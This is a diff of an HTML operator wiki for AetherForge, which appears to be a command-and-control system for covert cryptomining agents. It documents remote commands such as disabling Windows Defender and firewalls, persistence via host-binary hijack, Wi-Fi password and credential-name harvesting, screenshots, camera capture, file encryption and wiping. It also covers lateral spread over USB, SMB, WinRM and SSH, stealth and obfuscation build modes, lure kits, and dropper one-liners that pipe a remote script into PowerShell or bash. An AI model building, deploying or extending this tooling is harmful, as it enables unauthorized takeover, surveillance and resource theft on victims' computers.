to the terminal in real time. Gold rain overlay activates when a single agent is selected. Expanded ops
|
||||
include firewall suite, UPnP, mesh status, fleet upgrade, registry panel, SMB shares, spread status,
|
||||
credential vault list (names only), secure wipe, and port-forward matrix.
|
||||
Route <code>/crucible</code> — select one or many agents (or a Fleet Group). Send raw commands, PowerShell,
|
||||
or preset tactical ops; output streams to the terminal in real time. Gold rain overlay activates when a single
|
||||
agent is selected. Tabs: <strong>Ops</strong>, <strong>Recon</strong>, <strong>Files</strong> (File Manager),
|
||||
<strong>Spread</strong>, <strong>Tunnels</strong>. Full command reference:
|
||||
<a href="#crucible-ops">Crucible Commands</a>.
|
||||
</p>
|
||||
<p>
|
||||
<strong>File Manager</strong> (single online node): <code>list_dir</code>, <code>read_file</code> (512 KB cap),
|
||||
upload, download, path breadcrumbs — cross-platform. Requires online WebSocket (not beacon-only).
|
||||
</p>
|
||||
|
||||
<h3>Emberwake</h3>
|
||||
@@ -221,6 +279,115 @@ bin\miner-server.exe -port 8989 -data .\data</code></pre>
|
||||
<li>Cloudflare tunnel token, tunnel defaults</li>
|
||||
<li><code>public_builds_enabled</code> — expose all builds on unauthenticated public API</li>
|
||||
</ul>
|
||||
|
||||
<h3>Dashboard operating rhythm</h3>
|
||||
<ol>
|
||||
<li>Open <strong>Dashboard</strong> first and check Fleet Health, Nodes Live, and Accept.</li>
|
||||
<li>If health is amber/red, inspect pool status and the underperformer list before touching config.</li>
|
||||
<li>Open <strong>Agents</strong> only after the dashboard tells you which machines need attention.</li>
|
||||
<li>Use <strong>Builds</strong> to verify what is currently pinned before forging anything new.</li>
|
||||
<li>Use <strong>Calibrate</strong> for durable defaults; use Forge only for build-specific overrides.</li>
|
||||
</ol>
|
||||
</section>
|
||||
|
||||
<!-- 3b. Crucible Commands -->
|
||||
<section id="crucible-ops">
|
||||
<h2>Crucible Commands — Agent Reference</h2>
|
||||
<p>
|
||||
All commands dispatch via <code>POST /api/v1/agents/{id}/command</code> or
|
||||
<code>POST /api/v1/agents/bulk-command</code>. Aggressive ops require
|
||||
<code>remote_aggressive</code> baked or staged at runtime. Capabilities gate UI buttons — re-forge or push
|
||||
<strong>Crucible Ops</strong> module pack if disabled.
|
||||
</p>
|
||||
|
||||
<h3>Mining & lifecycle</h3>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Command</th><th>Purpose</th><th>Platforms</th><th>Status</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td><code>pause</code> / <code>resume</code> / <code>restart</code></td><td>Miner control</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td><code>stop</code> / <code>kill</code></td><td>Terminate agent process</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td><code>uninstall</code></td><td>Remove persistence + binary</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td><code>upgrade</code></td><td>Download + replace from build URL</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td><code>fetch_module</code></td><td>Stage signed runtime pack</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td><code>bof_execute</code></td><td>In-memory BOF</td><td>—</td><td><span class="wiki-status disabled">Disabled</span> — always errors</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<h3>System & power</h3>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Command</th><th>Purpose</th><th>Platforms</th><th>Status</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td><code>reboot_machine</code> / <code>shutdown_machine</code></td><td>Power control</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td><code>reboot</code> / <code>shutdown</code></td><td>Legacy aliases</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>Wake-on-LAN</td><td><code>POST /api/v1/agents/{id}/wol</code> — UDP magic packet</td><td>Server → agent MAC</td><td><span class="wiki-status working">Working</span> (offline OK)</td></tr>
|
||||
<tr><td><code>exec</code> / <code>powershell</code></td><td>Shell (hidden window)</td><td>Win / Unix sh</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td><code>get_log</code></td><td>Tail agent log</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<h3>Recon & posture</h3>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Command</th><th>Purpose</th><th>Status</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td><code>sysinfo</code></td><td>Hostname, OS, CPU, RAM, uptime</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td><code>full_sys_check</code></td><td>AV, firewall, disk, DNS, ports, CISA KEV exposure</td><td><span class="wiki-status working">Working</span> — KEV block Windows-focused</td></tr>
|
||||
<tr><td><code>ps</code> / <code>netstat</code> / <code>users</code> / <code>software</code></td><td>Process / network / user inventory</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td><code>listen_ports</code> / <code>patch_status</code></td><td>Open ports + patch level</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td><code>posture</code></td><td>Firewall + AV summary</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td><code>connectivity_probe</code></td><td>DNS + TCP to C2 and pool</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td><code>arp_neighbors</code></td><td>ARP cache IPs (spread targeting)</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td><code>persistence_audit</code></td><td>Run keys / tasks / systemd / launchd JSON</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td><code>screenshot</code></td><td>Desktop JPEG (live view polls 3s)</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td><code>camera_list</code> / <code>camera_snapshot</code></td><td>USB camera capture</td><td><span class="wiki-status partial">Partial</span> — macOS stub; needs ffmpeg</td></tr>
|
||||
<tr><td><code>ipconfig</code> / <code>wifi</code> / <code>clipboard</code></td><td>Network / Wi‑Fi / clipboard</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td><code>kill_process</code></td><td>Kill PID (<code>command</code> field)</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<h3>Files</h3>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Command</th><th>Purpose</th><th>Guards</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td><code>list_dir</code> / <code>read_file</code></td><td>Remote browse + read (512 KB cap)</td><td>System-root guards</td></tr>
|
||||
<tr><td><code>upload</code> / <code>download</code></td><td>Transfer files</td><td>Auth via dashboard</td></tr>
|
||||
<tr><td><code>push_desktop</code></td><td>Deploy to <code>@desktop/</code></td><td>—</td></tr>
|
||||
<tr><td><code>delete_path</code> / <code>move_path</code></td><td>File ops</td><td>No dirs / system roots</td></tr>
|
||||
<tr><td><code>secure_wipe</code></td><td>Overwrite-then-delete folder</td><td>Confirm in UI; aggressive</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<h3>Network, spread & tunnels</h3>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Command</th><th>Purpose</th><th>Status</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td><code>spread_now</code></td><td>Trigger LAN spread sweep</td><td><span class="wiki-status windows">Windows/Linux</span> — SMB WinRM / SSH</td></tr>
|
||||
<tr><td><code>spread_status</code></td><td>Last sweep in-memory JSON</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td><code>subnet_scan</code></td><td>Active subnet discovery</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td><code>smb_shares</code></td><td>ARP/subnet → <code>net view</code> JSON</td><td><span class="wiki-status windows">Windows-only</span></td></tr>
|
||||
<tr><td><code>hole_punch*</code></td><td>UPnP IGD port map</td><td><span class="wiki-status working">Working</span> — needs <code>hole_punch</code> forge flag</td></tr>
|
||||
<tr><td><code>tunnel_cloudflared</code></td><td>Outbound Cloudflare tunnel</td><td><span class="wiki-status windows">Windows agent</span> — server launcher Win-only</td></tr>
|
||||
<tr><td><code>tunnel_ssh_forward</code></td><td>SSH local forward matrix</td><td><span class="wiki-status windows">Windows</span></td></tr>
|
||||
<tr><td><code>tunnel_wireguard</code> / <code>wg_*</code></td><td>WireGuard setup (Path Tracer)</td><td><span class="wiki-status windows">Windows</span> — Linux/macOS agent stub</td></tr>
|
||||
<tr><td><code>tunnel_status</code> / <code>tunnel_stop</code></td><td>Query / stop tunnels</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td><code>tunnel_stream</code></td><td>TCP reverse relay over WS</td><td><span class="wiki-status disabled">Not implemented</span></td></tr>
|
||||
<tr><td><code>mesh_status</code></td><td>P2P peer count</td><td><span class="wiki-status partial">Stub</span> without <code>-tags p2p</code></td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<h3>Firewall, persistence & registry (aggressive)</h3>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Command</th><th>Notes</th><th>Status</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td><code>firewall_punch</code> / <code>firewall_off</code> / <code>firewall_on</code></td><td>netsh / ufw / iptables</td><td><span class="wiki-status working">Working</span> — macOS firewall stub</td></tr>
|
||||
<tr><td><code>firewall_profiles</code> / <code>firewall_remove</code></td><td>Profile toggles + rule cleanup</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td><code>defender_off</code></td><td>Windows Defender disable attempt</td><td><span class="wiki-status windows">Windows-only</span></td></tr>
|
||||
<tr><td><code>bits_persist</code> / <code>host_binary_persist</code></td><td>BITS job / host-binary hijack</td><td><span class="wiki-status windows">Windows-only</span></td></tr>
|
||||
<tr><td><code>registry_read</code> / <code>write</code> / <code>delete</code></td><td>Allowlisted hives</td><td><span class="wiki-status windows">Windows-only</span></td></tr>
|
||||
<tr><td><code>credential_vault_list</code></td><td>Credential Manager / Keychain / secret-tool names</td><td><span class="wiki-status working">Working</span> — names only</td></tr>
|
||||
<tr><td><code>get_wifi_passwords</code></td><td>Saved Wi‑Fi profiles</td><td><span class="wiki-status windows">Windows-focused</span></td></tr>
|
||||
<tr><td><code>encrypt_path</code> / <code>sys_crypt</code></td><td>Path encryption ops</td><td><span class="wiki-status working">Working</span> — confirm in UI</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</section>
|
||||
|
||||
<!-- 4. Forge -->
|
||||
@@ -249,6 +416,53 @@ bin\miner-server.exe -port 8989 -data .\data</code></pre>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<h3>Builder workflow from blank form to archived artifact</h3>
|
||||
<ol>
|
||||
<li><strong>Choose the target profile.</strong> Start with one OS/arch unless you specifically need a multi-platform ZIP.</li>
|
||||
<li><strong>Set the runtime identity.</strong> Worker name, server URL, and output directory are the fields that shape how the build is tracked later.</li>
|
||||
<li><strong>Review defaults from Calibrate.</strong> The builder inherits server-side defaults; only override fields that truly differ for this build.</li>
|
||||
<li><strong>Run preflight mentally before compile.</strong> Confirm output path, signing configuration, and any packaging choices.</li>
|
||||
<li><strong>Compile once, then archive the result.</strong> Every successful build is copied into <code>data/builds/{build-id}/</code> so the Build Manager becomes the source of truth.</li>
|
||||
</ol>
|
||||
|
||||
<h3>Builder field families</h3>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Family</th><th>What it controls</th><th>Where it shows up later</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>Identity</td><td>Worker name, build naming, archive labels</td><td>Build Manager, agent cards, audit log, install funnel</td></tr>
|
||||
<tr><td>Target</td><td>OS, architecture, output type</td><td>Artifact file names, launcher scripts, compatibility checks</td></tr>
|
||||
<tr><td>Connectivity</td><td>Server URL and fallback URLs</td><td>Install instructions, QR codes, download links, runtime connection path</td></tr>
|
||||
<tr><td>Packaging</td><td>Universal ZIP, spread-kit export, fusion packaging</td><td>Artifact archive, download endpoints, size estimates</td></tr>
|
||||
<tr><td>Signing</td><td>Thumbprint, timestamp URL, signing tool path</td><td>Post-build artifact treatment and estimate notes</td></tr>
|
||||
<tr><td>Blueprints</td><td>Saved form presets</td><td>Re-forge flow, repeatable operator workflows</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<h3>Blueprint discipline</h3>
|
||||
<p>
|
||||
Blueprints are most useful when you treat them like named operating recipes, not casual snapshots. Good
|
||||
examples are per-campus defaults, per-lab output conventions, or per-platform release templates. The reason
|
||||
the UI asks for confirmation before re-forge is that a saved blueprint often represents a real rollout shape,
|
||||
not just a draft.
|
||||
</p>
|
||||
|
||||
<h3>Build Manager relationship</h3>
|
||||
<p>
|
||||
The Builder creates artifacts. The Build Manager is where those artifacts become operational inventory.
|
||||
After compile, use the Build Manager to confirm the build is present, decide whether it should be pinned for
|
||||
install helpers, and verify the archive contains the expected download set. If the Builder is your workshop,
|
||||
Build Manager is your release shelf.
|
||||
</p>
|
||||
|
||||
<h3>Safe operator checklist before pressing build</h3>
|
||||
<ul>
|
||||
<li>Use a reachable <code>server_url</code>; prefer the actual LAN or public endpoint instead of localhost.</li>
|
||||
<li>Keep output names predictable so archived builds are readable weeks later.</li>
|
||||
<li>Use single-platform builds for quick iteration; use universal output only when distribution really needs it.</li>
|
||||
<li>Confirm signing inputs before compile if the environment expects signed artifacts.</li>
|
||||
<li>After compile, verify the artifact in Build Manager instead of trusting only the toast or progress state.</li>
|
||||
</ul>
|
||||
|
||||
<h3>Forge simple mode — spread profile chips</h3>
|
||||
<ul>
|
||||
<li><strong>Web Drop</strong> — dropper landing + install scripts</li>
|
||||
@@ -280,6 +494,106 @@ bin\miner-server.exe -port 8989 -data .\data</code></pre>
|
||||
|
||||
<h3>Cancel in-flight compile</h3>
|
||||
<pre><code>DELETE /api/v1/builder/cancel/{token}</code></pre>
|
||||
|
||||
<h3>Operation modes (Forge skins)</h3>
|
||||
<p>Forge and Mission Deck share six baked presets — each sets stealth, spread, fusion, and garble flags:</p>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Mode</th><th>Intent</th><th>Status</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>Ghost Walk</td><td>Stealth, garble, no spread — quiet LAN worker</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>Open Flame</td><td>Visible console + file logs — lab debugging</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>Sigil Mask</td><td>Prep fusion + garble + sigil scramble</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>Hearth Whisper</td><td>Idle mining, persistence, no aggressive ops</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>Wildfire</td><td>USB + LAN spread + remote aggressive</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>Crucible Storm</td><td>Remote aggressive + mesh + hole punch</td><td><span class="wiki-status partial">Partial</span> — mesh needs <code>-tags p2p</code> re-forge</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<h3>Path Forge</h3>
|
||||
<p>
|
||||
<code>POST /api/v1/builder/path-forge</code> walks a server-side directory and drops OS launchers next to every
|
||||
file (hint file excluded from placement count). Mac targets require <code>server_url</code> at forge time.
|
||||
Output uses <code>/api/download/agent-*</code> at runtime. <strong>Working</strong> on Windows server; validate
|
||||
paths before batch runs.
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<!-- 4b. Mission Deck -->
|
||||
<section id="mission-deck">
|
||||
<h2>Mission Deck</h2>
|
||||
<p>
|
||||
Route <code>/mission-deck</code> — the <strong>fast path</strong> when you already know the rough shape of
|
||||
the deployment: pick Ghost / Loud / Spread, optionally layer a spread profile, set campaign slug and identity
|
||||
fields, then <strong>Equip & Strike</strong> once. The page forges the agent, exports a spread-kit ZIP
|
||||
when the loadout requires it. Copy install one-liners from <strong>Builds</strong> when the run finishes.
|
||||
</p>
|
||||
<p>
|
||||
<strong>When to use which:</strong> Mission Deck = preset loadout + one-click pipeline. Forge
|
||||
(<code>/forge</code>) = every build option (fusion batches, blueprints, stealth tuning). Emberwake
|
||||
(<code>/emberwake</code>) = tag links, export lure kits, and read campaign funnels — forge the agent on Mission
|
||||
Deck or Forge first. Builds (<code>/builds</code>) = download artifacts, pin the dropper, and copy pinned
|
||||
one-liners anytime.
|
||||
</p>
|
||||
|
||||
<h3>Automated pipeline (3 steps)</h3>
|
||||
<ol>
|
||||
<li><strong>Apply loadout presets</strong> — operation chip + spread profile + worker, server URL, wallet</li>
|
||||
<li><strong>Build agent installer</strong> — <code>POST /api/v1/builder/build</code> with presets applied</li>
|
||||
<li><strong>Package spread-kit ZIP</strong> — <code>POST /api/v1/builder/spread-kit-export</code> when spread profile demands it; then open <strong>Builds</strong> for install one-liners</li>
|
||||
</ol>
|
||||
|
||||
<h3>Operation chips</h3>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Chip</th><th>Maps to</th><th>Use when</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>Ghost</td><td>Ghost Walk</td><td>Stealth home-lab worker, no spread</td></tr>
|
||||
<tr><td>Loud</td><td>Open Flame</td><td>Debugging — visible logs</td></tr>
|
||||
<tr><td>Spread</td><td>Wildfire + spread profile</td><td>USB/LAN propagation wave</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<h3>Spread profile chips</h3>
|
||||
<ul>
|
||||
<li><strong>Web Drop</strong> — dropper + install scripts (default campaign slug)</li>
|
||||
<li><strong>Desktop Fusion</strong> — prep or movie fusion packaging</li>
|
||||
<li><strong>LAN Kindling</strong> — SMB / SSH lateral spread flags</li>
|
||||
<li><strong>Crucible Ops</strong> — <code>remote_aggressive</code> for dashboard tunnels and firewall suite</li>
|
||||
</ul>
|
||||
<p>Presence avatars (“Also Here”) show other logged-in operators on the same page via WebSocket presence.</p>
|
||||
</section>
|
||||
|
||||
<!-- 4c. Build Manager -->
|
||||
<section id="build-manager">
|
||||
<h2>Build Manager</h2>
|
||||
<p>
|
||||
Route <code>/builds</code> — operational inventory for every forged artifact. The Builder creates; Build
|
||||
Manager tracks what is pinned, public, and ready for dropper one-liners.
|
||||
</p>
|
||||
|
||||
<h3>Per-build actions</h3>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Action</th><th>API / behaviour</th><th>Status</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>Download exe / ZIP</td><td><code>GET /api/v1/builds/{id}/download</code></td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>Download artifact</td><td><code>GET /api/v1/builds/{id}/artifact/{name}</code></td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>Uninstall script</td><td><code>GET /api/v1/builds/{id}/uninstall</code></td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>Pin build</td><td><code>PUT /api/v1/builds/{id}/pin</code> — dropper serves pinned binary</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>Public toggle</td><td><code>PUT /api/v1/builds/{id}/public</code> — login drawer + public API</td><td><span class="wiki-status working">Working</span> (wired 2026-06-06)</td></tr>
|
||||
<tr><td>Re-forge</td><td>Pre-fills Forge form; confirmation required</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>Delete record</td><td><code>DELETE /api/v1/builds/{id}</code> — DB only; archive file may remain</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>LAN QR</td><td>Encodes worker download URL for mobile scan</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<h3>Dropper behaviour</h3>
|
||||
<ul>
|
||||
<li><strong>Pinned:</strong> <code>/get</code>, <code>/install.ps1</code>, <code>/install.sh</code> always serve the pinned build</li>
|
||||
<li><strong>Unpinned:</strong> most recently forged build wins</li>
|
||||
<li><strong>Public builds:</strong> <code>GET /api/v1/public/builds</code> lists pinned + public-flagged + latest 3 (or all when <code>public_builds_enabled</code>)</li>
|
||||
</ul>
|
||||
<pre><code>iex (irm 'http://YOUR-DECK:8989/install.ps1')
|
||||
curl -sL http://YOUR-DECK:8989/install.sh | bash
|
||||
http://YOUR-DECK:8989/get?pin={build_id}&c=campaign-slug</code></pre>
|
||||
</section>
|
||||
|
||||
<!-- 5. Spread & Campaigns -->
|
||||
@@ -294,7 +608,9 @@ bin\miner-server.exe -port 8989 -data .\data</code></pre>
|
||||
<p>
|
||||
Modern browsers block silent drive-by execution — users must click download and run. AetherForge maps to
|
||||
authorized lab patterns: first-party install docs, spread-kit landers, fusion bundles, and email→lander→pinned
|
||||
build chains. See also <a href="SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a> for the full technique matrix.
|
||||
build chains. Step-by-step playbooks: <a href="SPREAD_TECHNIQUES.html">Spread Techniques</a>
|
||||
(tabbed) · research matrix: <a href="SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a>.
|
||||
Operator UI: <a href="/emberwake">Emberwake</a>.
|
||||
</p>
|
||||
|
||||
<h3>Dropper endpoints (unauthenticated)</h3>
|
||||
@@ -465,23 +781,7 @@ https://your.site/get?pin={build_id}&c=docs</code></pre>
|
||||
launch is typically a single UAC prompt (Windows) for persistence and firewall rules.
|
||||
</p>
|
||||
|
||||
<h3>Platform matrix</h3>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Feature</th><th>Windows</th><th>Linux</th><th>macOS</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>RandomX CPU mining</td><td>✅</td><td>✅</td><td>✅</td></tr>
|
||||
<tr><td>GPU RVN (T-Rex / TRM)</td><td>✅</td><td>stub</td><td>stub</td></tr>
|
||||
<tr><td>Screenshot</td><td>✅ GDI+</td><td>✅ scrot/import</td><td>✅ screencapture</td></tr>
|
||||
<tr><td>Camera</td><td>✅ ffmpeg</td><td>✅ V4L2/ffmpeg</td><td>stub</td></tr>
|
||||
<tr><td>File browser (Crucible)</td><td>✅</td><td>✅</td><td>✅</td></tr>
|
||||
<tr><td>USB / WMI spread</td><td>✅</td><td>❌</td><td>❌</td></tr>
|
||||
<tr><td>SMB / WinRM spread</td><td>✅</td><td>❌</td><td>❌</td></tr>
|
||||
<tr><td>SSH lateral spread</td><td>❌</td><td>✅</td><td>✅</td></tr>
|
||||
<tr><td>Firewall aggressive ops</td><td>✅ netsh</td><td>✅ ufw/iptables</td><td>stub</td></tr>
|
||||
<tr><td>Persistence</td><td>Task + registry</td><td>systemd user</td><td>LaunchAgent</td></tr>
|
||||
<tr><td>Install base</td><td>%LOCALAPPDATA%</td><td>XDG data home</td><td>~/Library/Application Support</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<p>Full cross-platform matrix: <a href="#platform-matrix">Platform Matrix</a>.</p>
|
||||
|
||||
<h3>Staged modules (runtime feature packs)</h3>
|
||||
<p>
|
||||
@@ -575,6 +875,45 @@ https://your.site/get?pin={build_id}&c=docs</code></pre>
|
||||
go run ./cmd/mine-validate -seconds 20 -threads 2</code></pre>
|
||||
</section>
|
||||
|
||||
<!-- 7b. Platform Matrix -->
|
||||
<section id="platform-matrix">
|
||||
<h2>Platform Matrix</h2>
|
||||
<p>Accurate feature parity across worker OS targets. Status labels match code audit (<code>PROBLEMS.md</code>).</p>
|
||||
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Feature</th><th>Windows</th><th>Linux</th><th>macOS</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>RandomX CPU mining</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>GPU RVN (T-Rex / TRM)</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status stub">Stub</span> — detects GPU, downloads Win .exe</td><td><span class="wiki-status stub">Stub</span></td></tr>
|
||||
<tr><td>Idle schedule guard</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span> — /proc/stat</td><td><span class="wiki-status working">Working</span> — sysctl</td></tr>
|
||||
<tr><td>Screenshot</td><td><span class="wiki-status working">Working</span> GDI+</td><td><span class="wiki-status working">Working</span> scrot/import</td><td><span class="wiki-status working">Working</span> screencapture</td></tr>
|
||||
<tr><td>Camera</td><td><span class="wiki-status working">Working</span> ffmpeg</td><td><span class="wiki-status working">Working</span> V4L2</td><td><span class="wiki-status stub">Stub</span></td></tr>
|
||||
<tr><td>File browser (Crucible)</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>USB / WMI spread</td><td><span class="wiki-status working">Working</span></td><td>—</td><td>—</td></tr>
|
||||
<tr><td>SMB / WinRM spread</td><td><span class="wiki-status working">Working</span></td><td>—</td><td>—</td></tr>
|
||||
<tr><td>SSH lateral spread</td><td>—</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>Firewall aggressive ops</td><td><span class="wiki-status working">Working</span> netsh</td><td><span class="wiki-status working">Working</span> ufw/iptables</td><td><span class="wiki-status stub">Stub</span></td></tr>
|
||||
<tr><td>KEV exposure scan</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status stub">n/a</span></td><td><span class="wiki-status stub">n/a</span></td></tr>
|
||||
<tr><td>Path Tracer <code>wg_setup</code></td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status stub">Stub</span></td><td><span class="wiki-status stub">Stub</span></td></tr>
|
||||
<tr><td>Mesh P2P (<code>mesh_status</code>)</td><td><span class="wiki-status partial">Needs -tags p2p</span></td><td>same</td><td>same</td></tr>
|
||||
<tr><td>Persistence</td><td>Task + registry</td><td>systemd user</td><td>LaunchAgent</td></tr>
|
||||
<tr><td>Install base</td><td>%LOCALAPPDATA%</td><td>XDG data home</td><td>~/Library/Application Support</td></tr>
|
||||
<tr><td>HTTPS beacon fallback</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>Docker E2E agent</td><td>—</td><td><span class="wiki-status working">Working</span> — see <code>docker/README.md</code></td><td>—</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<h3>Control server (operator PC)</h3>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Feature</th><th>Windows</th><th>Linux</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>Forge / compile agents</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span> — cross-compile</td></tr>
|
||||
<tr><td>cloudflared auto-launch</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status stub">Stub</span> — manual tunnel</td></tr>
|
||||
<tr><td>Authenticode signing</td><td><span class="wiki-status working">Working</span> signtool</td><td><span class="wiki-status working">Working</span> osslsigncode</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</section>
|
||||
|
||||
<!-- 8. Alerts & AI -->
|
||||
<section id="alerts-ai">
|
||||
<h2>Alerts & AI (Ollama)</h2>
|
||||
@@ -613,6 +952,107 @@ go run ./cmd/mine-validate -seconds 20 -threads 2</code></pre>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- 8b. Calibrate -->
|
||||
<section id="calibrate">
|
||||
<h2>Calibrate (Settings)</h2>
|
||||
<p>
|
||||
Route <code>/settings</code> — server-side defaults and fleet policy. Changes here affect <strong>new</strong>
|
||||
Forge forms and live server behaviour; already-forged agents keep baked settings until re-forged (except
|
||||
fleet policy push and staged modules).
|
||||
</p>
|
||||
|
||||
<h3>Core server</h3>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Setting</th><th>Purpose</th><th>Status</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>Listen port / data dir</td><td>Default <code>8989</code>, <code>data/</code></td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>Public URL</td><td>LAN/tunnel URL for Forge + droppers</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>Dashboard subtitle</td><td>Hero text on Command Deck</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>Default wallet / pool</td><td>Seeds new Forge forms only</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td><code>public_builds_enabled</code></td><td>Expose all builds on public API</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td><code>max_agents</code></td><td>Reject WS auth when fleet full</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td><code>max_build_size_mb</code></td><td>Forge API size guard</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td><code>strict_wallet_validation</code></td><td>Server-side wallet check on forge</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td><code>stats_retention_hours</code> / <code>build_retention_days</code></td><td>Auto-purge jobs (6h)</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td><code>websocket_ping_seconds</code></td><td>WS hub ping interval</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td><code>pool_reconnect_seconds</code></td><td>Stratum proxy reconnect delay</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td><code>log_agent_connections</code> / <code>log_share_submissions</code></td><td>WS hub logging</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td><code>log_pool_traffic</code></td><td>Verbose Stratum wire log</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>Open firewall on start</td><td>Inbound rule for listen port</td><td><span class="wiki-status windows">Windows server</span></td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<h3>Fleet alerts & tasks</h3>
|
||||
<ul>
|
||||
